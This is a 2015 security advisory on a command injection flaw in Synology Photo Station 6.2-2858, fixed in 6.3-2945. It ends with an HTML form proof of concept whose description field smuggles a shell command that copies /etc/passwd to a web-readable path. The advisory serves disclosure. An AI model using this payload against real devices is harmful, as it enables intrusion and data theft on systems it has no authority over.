Synology Photo Station version 6.2-2858 suffers from a command injection vulnerability.
7036f18e0c6a38dc59ea9beaac1cea09173f31c896f8abef0c736a5664dedf77
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Command injection vulnerability in Synology Photo Station
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Han Sahin, May 2015
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Abstract
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A command injection vulnerability was found in Synology Photo Station,
which allows an attacker to execute arbitrary commands with the
privileges of the webserver. An attacker can use this vulnerability to
compromise a Synology DiskStation NAS, including all data stored on the
NAS.
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Tested version
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This issue was tested on Synology Photo Station version 6.2-2858.
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Fix
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Synology reports that this issue has been resolved in Photo Station
version 6.3-2945.
https://www.synology.com/en-us/releaseNote/PhotoStation
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Details
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https://www.securify.nl/advisory/SFY20150502/command_injection_vulnerability_in_synology_photo_station.html
Proof of concept
The following proof of concept copies the /etc/passwd file to /var/services/photo/Securify.txt.
<html>
<body>
<form action="http://<target>/photo/webapi/photo.php" method="POST">
<input type="hidden" name="id" value="photo_536168696e_53637265656e2053686f7420323031352d30352d31302061742032322e33342e33352e706e67" />
<input type="hidden" name="description" value="| cat /etc/passwd > /var/services/photo/Securify.txt " />
<input type="hidden" name="api" value="SYNO.PhotoStation.Photo" />
<input type="hidden" name="method" value="edit" />
<input type="hidden" name="version" value="1" />
<input type="hidden" name="ps_username" value="admin" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>